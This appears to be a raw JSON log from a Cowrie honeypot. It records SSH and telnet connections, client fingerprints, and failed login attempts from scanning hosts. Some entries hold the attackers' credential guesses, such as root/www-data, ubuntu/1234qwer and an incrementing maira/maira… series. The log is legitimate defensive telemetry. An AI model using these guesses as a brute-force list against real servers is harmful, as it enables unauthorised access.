{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ca:63:6a:86:7f:a4:ee:a0:f5:4c:b4:5e:e2:bb:f5:99","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDfgWafezgwy7/talqZww3tZ4hQBWQIInDR1yR0hY11uLAcJmH4E8ECRwFqo1nzQnEBHNht3OfJhiMcl/X64YPZxhWC68hI2M4jbOW6G0z6O156oXDmERNvFaJQd2494SznkUhNrUBB0ZWu+lvzJZZqi8fxDpwLo0nfBYggojB5fMz0sNvawUuNe/jgM4hb6ieGqMwtrT2pjvUkIafQHNY3HGz8cQM9NDAHlVIIqfDSD4zU1h9r9k90m7udJBhte1uaoJDYbb3KWGsEuwN9Tie8I4SIca4TEyNjmoserM+JuhKOJf6nPe4UAgRWET7NxVhyhWp7ovRREfKY+nY44DAgIdTlFTNzqXotloWpiOrnVPYQ+hI1vsZ8E+r+kLnxNgl+gZ01GLp72xC2yEAbqTp/9L8mA6ayzDBzauVM7GuTq1yiXpGgXZWRlZapKxeVrddZkRzZgf6wvNV0VQ7JW2JcSbXZn/YETwNi+wMD30ststOjLhnT/s6AOGzd2506Ft+0GbN18j5wp6NWumneWGC6WMaMrsv2Q291w8Mci/+VK2/MwEaNUNMM+SoMat7mRRW635M153KfQ1PBbHjO/lSzJLdnWf7lqMvHHeZKP+og1ssEI0jlARE2xoQ1QKhG/Slf5c72df4jUIZ91xm6NrGHLCiSIrDxLCO4F70QZwJK9w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:35:35.818424Z","src_ip":"199.127.62.250","session":"e258163713e9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3f:3c:db:82:66:09:a5:d2:54:c9:77:77:cc:77:69:2f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCnL+C1NHbH485cIp1Z1qPzl+Gu65xa9zjjaMCYvoA87yC+3ikVMJqkBAXvyaMQEvyt8zeymTB92AQxiwmlB0oZHdOzFRZed6rXMAnoqhRUVgANLv9XK1udaEC+qpMYs0EGlTXD9Zc1gXFnmAvhdku3yNFaJiMNKfaFwDoRtgoheO00F2AG1EeFVinNI7eAc3Nm3jRqdcDy7/NrRLSfNHY1pRoxBb7Mhku5Kj9kFPHxfLZvAlK67yywwutJwSY8RemJ2ktWKMsvdHdVHNYcUKYyvW/vCs+DsKaxyoIM8wP/tBFcZCCXXsGBdMDBlczVDOSpK+lnPb1R/FmsqVd6dyu3RnubMr+aIsrt6qc6IjnlL71nz5KWECAfNNo/aQe49ktgc4CRnPDbK4GbIbCbkCww8wcsAsvdAtsGtI4llo36ywME3imM1I5annoy0HckhRFya3sPCEY6rQyijAUziovWdZd/R08WaeZe5Dcx+ub9gJ/ak4ZX4pfigkp8QR9TfWbbCNmgDM0TiI5Gkq7aJ0aHd+45y9eV82zRdM9figaXeOMRmbR1KJ9A7SAowqrp3eINCGvlQ+uTECvErglnVbLzQ1k9ySD8BSwTaCt535I6gOZPzVAqjM0X0w1ua/UEke3i7HDm6uhme1qqcjc395vGmYbOEE66C3T5zz5zvHTdtw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3f:3c:db:82:66:09:a5:d2:54:c9:77:77:cc:77:69:2f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:35:35.879617Z","src_ip":"199.127.62.250","session":"e258163713e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3f:3c:db:82:66:09:a5:d2:54:c9:77:77:cc:77:69:2f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCnL+C1NHbH485cIp1Z1qPzl+Gu65xa9zjjaMCYvoA87yC+3ikVMJqkBAXvyaMQEvyt8zeymTB92AQxiwmlB0oZHdOzFRZed6rXMAnoqhRUVgANLv9XK1udaEC+qpMYs0EGlTXD9Zc1gXFnmAvhdku3yNFaJiMNKfaFwDoRtgoheO00F2AG1EeFVinNI7eAc3Nm3jRqdcDy7/NrRLSfNHY1pRoxBb7Mhku5Kj9kFPHxfLZvAlK67yywwutJwSY8RemJ2ktWKMsvdHdVHNYcUKYyvW/vCs+DsKaxyoIM8wP/tBFcZCCXXsGBdMDBlczVDOSpK+lnPb1R/FmsqVd6dyu3RnubMr+aIsrt6qc6IjnlL71nz5KWECAfNNo/aQe49ktgc4CRnPDbK4GbIbCbkCww8wcsAsvdAtsGtI4llo36ywME3imM1I5annoy0HckhRFya3sPCEY6rQyijAUziovWdZd/R08WaeZe5Dcx+ub9gJ/ak4ZX4pfigkp8QR9TfWbbCNmgDM0TiI5Gkq7aJ0aHd+45y9eV82zRdM9figaXeOMRmbR1KJ9A7SAowqrp3eINCGvlQ+uTECvErglnVbLzQ1k9ySD8BSwTaCt535I6gOZPzVAqjM0X0w1ua/UEke3i7HDm6uhme1qqcjc395vGmYbOEE66C3T5zz5zvHTdtw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:35:35.883734Z","src_ip":"199.127.62.250","session":"e258163713e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:35:35.891528Z","src_ip":"103.15.226.202","session":"8e9ef9f8e5ac","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"11:4a:05:b9:09:9b:06:9e:ae:e9:f8:fd:d9:c1:d9:74","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDomInL6orYjIGQwr/3UMCdLa+mV8Q1xKhiJYZkk2SaUWl4tnLJ2Z4I5xd5T7EmnqdapKjZF9phaGXa4ZC3WuEh4nxQicgLoyLppcYZwH43h5MKV9xV+7wAczFLNfWo0L9BXTGG2UDY6QD+PmiBmGtCMfrp7zuWDXFhpXqPzQkvQR4Add/tyhNhDEUM2EweUPU6PW/i0/Gr1WUspHI0dvx5VRJtxmx1kCBiGLHOVbUpWN9RbpwmJObJRmMRCD8UiGctf1qxWm1eKKu6D+jktDHAzcMTEaEiN+pVe6PkyyzQ6ya0C72bbciV5n6zxlmyyNT72RtLo7UVgjjPQdLk4JiT","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 11:4a:05:b9:09:9b:06:9e:ae:e9:f8:fd:d9:c1:d9:74","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:35:35.943896Z","src_ip":"199.127.62.250","session":"e258163713e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"11:4a:05:b9:09:9b:06:9e:ae:e9:f8:fd:d9:c1:d9:74","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDomInL6orYjIGQwr/3UMCdLa+mV8Q1xKhiJYZkk2SaUWl4tnLJ2Z4I5xd5T7EmnqdapKjZF9phaGXa4ZC3WuEh4nxQicgLoyLppcYZwH43h5MKV9xV+7wAczFLNfWo0L9BXTGG2UDY6QD+PmiBmGtCMfrp7zuWDXFhpXqPzQkvQR4Add/tyhNhDEUM2EweUPU6PW/i0/Gr1WUspHI0dvx5VRJtxmx1kCBiGLHOVbUpWN9RbpwmJObJRmMRCD8UiGctf1qxWm1eKKu6D+jktDHAzcMTEaEiN+pVe6PkyyzQ6ya0C72bbciV5n6zxlmyyNT72RtLo7UVgjjPQdLk4JiT","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:35:35.947898Z","src_ip":"199.127.62.250","session":"e258163713e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:35:36.008442Z","src_ip":"199.127.62.250","session":"e258163713e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.37926506996155,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:36:02.280191Z","src_ip":"180.235.129.180","session":"3553f4f9b1be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.100","src_port":51981,"dst_ip":"159.203.135.109","dst_port":22,"session":"7923ad1c7d7a","protocol":"ssh","message":"New connection: 193.24.211.100:51981 (159.203.135.109:22) [session: 7923ad1c7d7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:36:36.868175Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:36:36.874037Z","src_ip":"193.24.211.100","session":"7923ad1c7d7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:36:37.011462Z","src_ip":"193.24.211.100","session":"7923ad1c7d7a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"www-data","message":"login attempt [root/www-data] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:36:37.488784Z","src_ip":"193.24.211.100","session":"7923ad1c7d7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:36:38.614105Z","src_ip":"193.24.211.100","session":"7923ad1c7d7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.183.60.58","src_port":54164,"dst_ip":"159.203.135.109","dst_port":23,"session":"3d06eab4c72d","protocol":"telnet","message":"New connection: 190.183.60.58:54164 (159.203.135.109:23) [session: 3d06eab4c72d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:36:45.980051Z"}
{"eventid":"cowrie.session.closed","duration":12.434784412384033,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:36:58.414736Z","src_ip":"190.183.60.58","session":"3d06eab4c72d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":118.54101133346558,"message":"Connection lost after 118 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:37:19.402689Z","src_ip":"212.55.149.117","session":"8bc36bc5d19b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":39716,"dst_ip":"159.203.135.109","dst_port":22,"session":"0fa6fb72efef","protocol":"ssh","message":"New connection: 2.57.122.208:39716 (159.203.135.109:22) [session: 0fa6fb72efef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:37:20.830237Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:37:20.925698Z","src_ip":"2.57.122.208","session":"0fa6fb72efef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:37:21.026644Z","src_ip":"2.57.122.208","session":"0fa6fb72efef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1234qwer","message":"login attempt [ubuntu/1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:37:21.726434Z","src_ip":"2.57.122.208","session":"0fa6fb72efef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:37:22.956795Z","src_ip":"2.57.122.208","session":"0fa6fb72efef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":25335,"dst_ip":"159.203.135.109","dst_port":22,"session":"e88ec1eef7c5","protocol":"ssh","message":"New connection: 213.209.159.56:25335 (159.203.135.109:22) [session: e88ec1eef7c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:38:23.984513Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:38:23.989170Z","src_ip":"213.209.159.56","session":"e88ec1eef7c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:38:24.071168Z","src_ip":"213.209.159.56","session":"e88ec1eef7c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"maira","password":"maira","message":"login attempt [maira/maira] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:38:24.479421Z","src_ip":"213.209.159.56","session":"e88ec1eef7c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"maira","password":"maira1","message":"login attempt [maira/maira1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:38:25.565326Z","src_ip":"213.209.159.56","session":"e88ec1eef7c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"maira","password":"maira123","message":"login attempt [maira/maira123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:38:26.650812Z","src_ip":"213.209.159.56","session":"e88ec1eef7c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"maira","password":"maira1234","message":"login attempt [maira/maira1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:38:27.736140Z","src_ip":"213.209.159.56","session":"e88ec1eef7c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"maira","password":"maira12345","message":"login attempt [maira/maira12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:38:28.825230Z","src_ip":"213.209.159.56","session":"e88ec1eef7c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:38:29.910136Z","src_ip":"213.209.159.56","session":"e88ec1eef7c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.146.52","src_port":49814,"dst_ip":"10.17.0.5","dst_port":22,"session":"04adf99da57a","protocol":"ssh","message":"New connection: 45.148.146.52:49814 (10.17.0.5:22) [session: 04adf99da57a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:38:41.379595Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:38:41.383557Z","src_ip":"45.148.146.52","session":"04adf99da57a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:38:41.473190Z","src_ip":"45.148.146.52","session":"04adf99da57a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"50:80:68:bb:14:33:fa:50:70:bf:70:04:0f:57:ec:ac","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC85lVX7J0bLHFdjJPFY0GcIeVcn7FBPmeFxZrqMrLbdWQN4Fq5v6E82cDf/5oS8/+1Egpys7DWRiYT3h1lzZhZlOA3XXxwHjrjnUc601xCqQOaw19Q7FFB0qLaSMxSyp/XOuG32+ZcqHz4iEajycx/dzw1U/DbaStk9LxJQJUs+ztewfsxnVvDc2g/RHCTSME3r4C3vY1OhuAXibZ6s2Fq2Dm6iSpr/97PBqQwojUTSFOslZWHXX/+cFtFigNMoaM8dzF2seYlzB/PZxZx41A4XQOrwehv9vRtBIFN2OiTyjYJOzw0AY3nhmdP2Qb8qhkZYafBqjWz/Pz/NL8FLkRZ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 50:80:68:bb:14:33:fa:50:70:bf:70:04:0f:57:ec:ac","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:38:41.885177Z","src_ip":"45.148.146.52","session":"04adf99da57a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"50:80:68:bb:14:33:fa:50:70:bf:70:04:0f:57:ec:ac","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC85lVX7J0bLHFdjJPFY0GcIeVcn7FBPmeFxZrqMrLbdWQN4Fq5v6E82cDf/5oS8/+1Egpys7DWRiYT3h1lzZhZlOA3XXxwHjrjnUc601xCqQOaw19Q7FFB0qLaSMxSyp/XOuG32+ZcqHz4iEajycx/dzw1U/DbaStk9LxJQJUs+ztewfsxnVvDc2g/RHCTSME3r4C3vY1OhuAXibZ6s2Fq2Dm6iSpr/97PBqQwojUTSFOslZWHXX/+cFtFigNMoaM8dzF2seYlzB/PZxZx41A4XQOrwehv9vRtBIFN2OiTyjYJOzw0AY3nhmdP2Qb8qhkZYafBqjWz/Pz/NL8FLkRZ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:38:41.888750Z","src_ip":"45.148.146.52","session":"04adf99da57a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"82:ee:c2:fb:21:d8:cf:83:65:2c:96:39:a3:74:44:9a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsyU1oXoeSHOANt1Qks1MFnzDfV4rGYgVzdM8cGex9i+pylNjb+fuDlYhXFZhDG+4Y1yHHaq+U93EdMy+7wZRpIbl6D7DR6fzjHeLay5gFMtloA34OH+d2evIAYTHdJJhbAz3M/MnYHLfWNglIxQyBI+C3gOk58p4XuNUui4Lw9EXVCLKCXQHWmAi0Zpmuy+cmsvZANotEZKnqEPSnvfoA7wVk5cbvGhlU9y3buNJ4ACuPuDhMwT14lig7kewZSl93e1mkhlxo+SJlyQyUBTwzZvCQjos3fC/rUoo1BGJBUNznrUGlsh9RaGT/eIgQ2yKHQkye4vSAu8AdJrQoPhABw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 82:ee:c2:fb:21:d8:cf:83:65:2c:96:39:a3:74:44:9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:38:41.976107Z","src_ip":"45.148.146.52","session":"04adf99da57a","protocol":"ssh"}
